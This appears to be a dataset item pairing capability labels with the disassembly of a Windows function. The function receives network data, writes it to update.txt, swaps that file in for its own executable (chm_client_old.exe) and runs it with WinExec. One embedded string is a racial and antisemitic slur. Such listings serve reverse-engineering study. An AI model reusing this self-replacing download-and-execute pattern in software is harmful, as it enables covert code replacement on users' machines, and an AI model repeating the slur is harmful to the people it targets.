Function at 0x14000f680
Capabilities:
Create process on windows
Delete file
Move file
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x14008c070]
xor rax, rsp
mov qword [rbp + 0x280], rax
cmp byte [0x14008d1e4], 0
je 0x14000f75b
cmp byte [0x14008d1cf], 0
je 0x14000f768
lea rdx, [0x140080594]
lea rcx, [rsp + 0x60]
call fcn.140006920
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call fcn.1400017b0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, [0x14008c1b8]
lea rcx, [rsp + 0x60]
call fcn.1400065f0
mov rbx, rax
lea rdx, [0x140080b00]
lea rcx, [rbp + 0x110]
call fcn.140006920
nop
mov r9, rbx
mov r8d, 0x45
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140010cb0
mov edx, recv
mov rcx, rax
call fcn.1400017b0
call fcn.140001790
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14008d1cf], 0
jne 0x14000fa8a
mov byte [0x14008d1cf], 1
mov byte [0x14008d1e4], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [0x14008c1b8]
lea rcx, [rsp + 0x60]
call fcn.1400065f0
mov rbx, rax
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
lea r8d, [rsi + 0x32]
lea rdx, str.yFCUR_WR
lea rcx, [rsp + 0x40]
call fcn.1400067c0
nop
mov r9, rbx
lea r8d, [rsi + 0x32]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x110]
call fcn.140010cb0
lea edx, [rsi + 2]
mov rcx, rax
call fcn.1400017b0
inc dword [0x14008d1dc]
mov dword [0x14008d1e0], esi
mov byte [0x14008d1cf], 1
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea r8d, [rsi + 9]
lea rdx, str.NIGGERJEW
lea rcx, [rbp + 0x110]
call fcn.140013e30
mov rdi, rax
lea rdx, [0x14008c1b8]
lea rcx, [rbp - 0x80]
call fcn.1400065f0
mov rbx, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
lea r8d, [rsi + 0xa]
lea rdx, str.US_fFPV
lea rcx, [rsp + 0x40]
call fcn.1400067c0
nop
mov r9, rbx
lea r8d, [rsi + 0xa]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x130]
call fcn.140010cb0
nop
mov r9, rdi
mov r8, rax
lea rcx, [rsp + 0x60]
call fcn.14000b4c0
xor r9d, r9d
lea r8d, [rsi + 6]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x150]
call fcn.140014ae0
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x14000f8da
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f8d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f8d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006cd20
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x14000f937
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f932
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006cd20
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
lea rax, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rax, qword [rbp + 0x150]
cmp qword [rbp + 0x160], 1
jne 0x14000f9e3
cmp byte [rax], 0x62
je 0x14000f97b
sbb esi, esi
or esi, 1
test esi, esi
jne 0x14000f9e3
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [0x14008c1b8]
lea rcx, [rbp - 0x60]
call fcn.1400065f0
mov rbx, rax
lea rdx, [0x140080b00]
lea rcx, [rbp - 0x40]
call fcn.140006920
nop
mov r9, rbx
lea r8d, [rsi + 0x45]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140010cb0
lea edx, [rsi + 0xc]
mov rcx, rax
call fcn.1400017b0
call fcn.140001790
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.update.txt
lea rcx, [rbp]
call fcn.140010770
nop
lea rcx, [rbp + 0x150]
call fcn.140006b80
mov r8, rax
lea rcx, [rbp + 0x150]
call fcn.140006450
mov rdx, rax
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp]
call fcn.140009610
mov r8d, 0x104
lea rdx, [rbp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, str.chm_client_old.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.chm_client_old.exe
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rdx, [rbp + 0x170]
lea rcx, str.update.txt
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov edx, 1
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor al, al
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.14006cd00
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret